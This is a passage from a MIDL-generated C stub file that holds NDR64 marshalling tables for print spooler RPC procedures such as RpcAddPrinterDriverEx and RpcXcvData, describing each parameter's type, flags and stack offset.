_NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag1042_t __midl_frag1042 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag1041_t __midl_frag1041 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1040_t __midl_frag1040 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1041\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1039_t __midl_frag1039 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1040\n};\n\nstatic const __midl_frag1030_t __midl_frag1030 =\n{ \n/* RpcGetPrinterDriverPackagePath */\n    { \n    /* RpcGetPrinterDriverPackagePath */      /* procedure RpcGetPrinterDriverPackagePath */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1080,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1081,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszLanguage */      /* parameter pszLanguage */\n        &__midl_frag1080,\n        { \n        /* pszLanguage */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszPackageID */      /* parameter pszPackageID */\n        &__midl_frag1081,\n        { \n        /* pszPackageID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverPackageCab */      /* parameter pszDriverPackageCab */\n        &__midl_frag1039,\n        { \n        /* pszDriverPackageCab */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cchDriverPackageCab */      /* parameter cchDriverPackageCab */\n        &__midl_frag1082,\n        { \n        /* cchDriverPackageCab */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcchRequiredSize */      /* parameter pcchRequiredSize */\n        &__midl_frag1082,\n        { \n        /* pcchRequiredSize */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1082,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1023_t __midl_frag1023 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1022_t __midl_frag1022 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1023\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1021_t __midl_frag1021 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1015_t __midl_frag1015 =\n{ \n/* RpcGetCorePrinterDrivers */\n    { \n    /* RpcGetCorePrinterDrivers */      /* procedure RpcGetCorePrinterDrivers */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1080,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1081,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cchCoreDrivers */      /* parameter cchCoreDrivers */\n        &__midl_frag1082,\n        { \n        /* cchCoreDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszzCoreDriverDependencies */      /* parameter pszzCoreDriverDependencies */\n        &__midl_frag1022,\n        { \n        /* pszzCoreDriverDependencies */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cCorePrinterDrivers */      /* parameter cCorePrinterDrivers */\n        &__midl_frag1082,\n        { \n        /* cCorePrinterDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pCorePrinterDrivers */      /* parameter pCorePrinterDrivers */\n        &__midl_frag1082,\n        { \n        /* pCorePrinterDrivers */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1082,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1003_t __midl_frag1003 =\n{ \n/* RpcSendRecvBidiData */\n    { \n    /* RpcSendRecvBidiData */      /* procedure RpcSendRecvBidiData */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pAction */      /* parameter pAction */\n        &__midl_frag1080,\n        { \n        /* pAction */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pReqData */      /* parameter pReqData */\n        &__midl_frag1082,\n        { \n        /* pReqData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppRespData */      /* parameter ppRespData */\n        &__midl_frag1082,\n        { \n        /* ppRespData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag997_t __midl_frag997 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag996_t __midl_frag996 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag995_t __midl_frag995 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag996\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag994_t __midl_frag994 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag995\n};\n\nstatic const __midl_frag992_t __midl_frag992 =\n{ \n/* RpcFlushPrinter */\n    { \n    /* RpcFlushPrinter */      /* procedure RpcFlushPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag995,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag1082,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cSleep */      /* parameter cSleep */\n        &__midl_frag1082,\n        { \n        /* cSleep */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag983_t __midl_frag983 =\n{ \n/* *DRIVER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag189\n};\n\nstatic const __midl_frag980_t __midl_frag980 =\n{ \n/* RpcAddPrinterDriverEx */\n    { \n    /* RpcAddPrinterDriverEx */      /* procedure RpcAddPrinterDriverEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag189,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* dwFileCopyFlags */      /* parameter dwFileCopyFlags */\n        &__midl_frag1082,\n        { \n        /* dwFileCopyFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag977_t __midl_frag977 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1082\n};\n\nstatic const __midl_frag973_t __midl_frag973 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag971_t __midl_frag971 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1041\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag970_t __midl_frag970 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag971\n};\n\nstatic const __midl_frag967_t __midl_frag967 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag966_t __midl_frag966 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag967\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag965_t __midl_frag965 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag966\n};\n\nstatic const __midl_frag961_t __midl_frag961 =\n{ \n/* RpcXcvData */\n    { \n    /* RpcXcvData */      /* procedure RpcXcvData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 84 /* 0x54 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hXcv */      /* parameter hXcv */\n        &__midl_frag1072,\n        { \n        /* hXcv */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszDataName */      /* parameter pszDataName */\n        &__midl_frag1081,\n        { \n        /* pszDataName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pInputData */      /* parameter pInputData */\n        &__midl_frag966,\n        { \n        /* pInputData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbInputData */      /* parameter cbInputData */\n        &__midl_frag1082,\n        { \n        /* cbInputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* 